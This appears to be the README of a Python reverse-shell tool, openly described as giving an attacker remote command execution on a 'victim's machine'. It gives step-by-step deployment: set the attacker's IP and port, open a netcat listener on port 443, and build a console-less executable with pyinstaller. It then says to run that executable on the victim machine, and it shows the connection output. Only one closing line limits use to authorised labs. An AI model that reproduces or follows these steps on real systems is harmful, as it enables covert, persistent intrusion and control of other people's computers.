This Python script creates a reverse shell connection to a remote attacker-controlled machine. It continuously attempts to establish a connection with the attacker's IP and allows remote command execution.
- Persistent Connection: The script will keep trying to connect to the attacker's machine if the connection fails.
- Remote Command Execution: Once the connection is established, the attacker can execute commands remotely.
- Directory Navigation: Supports basic directory navigation (
cd
,ls
,pwd
). - Error Handling: The script includes error handling to manage connection issues and command execution errors.
Edit the script and replace IP
and PORT
with the attacker's machine details:
IP = "192.x.x.x" # Change this to your Kali IP
PORT = 443 # Ensure this port is open on Kali
Ensure you're listening on the specified port (443 in this case) on your Linux machine. You can use Netcat or any other listening tool:
nc -lvnp 443
Install pyinstaller
library:
pip install pyinstaller
Generate an executable using pyinstaller
:
pyinstaller -F --clean -w shell.py
This will create an executable file without a console window.
Run the generated executable on the victim machine. The shell will attempt to connect to your Kali machine on the specified IP and port.
Once connected, you will see something like that:
listening on [any] 443 ...
connect to [192.x.x.x] from (UNKNOWN) [192.x.x.x] 30908
Welcome to your victim's machine!
─$
To exit the shell, simply type /exit
.
Before deploying, you can test if the connection is successful using connection_check.py
:
python .\connection_check.py
Run this script on your target machine to verify that the connection can be established.
Use this script only in controlled environments such as penetration testing labs, with explicit permission. Misuse of this tool for unauthorized access to systems is illegal and may result in severe consequences. The risk is yours.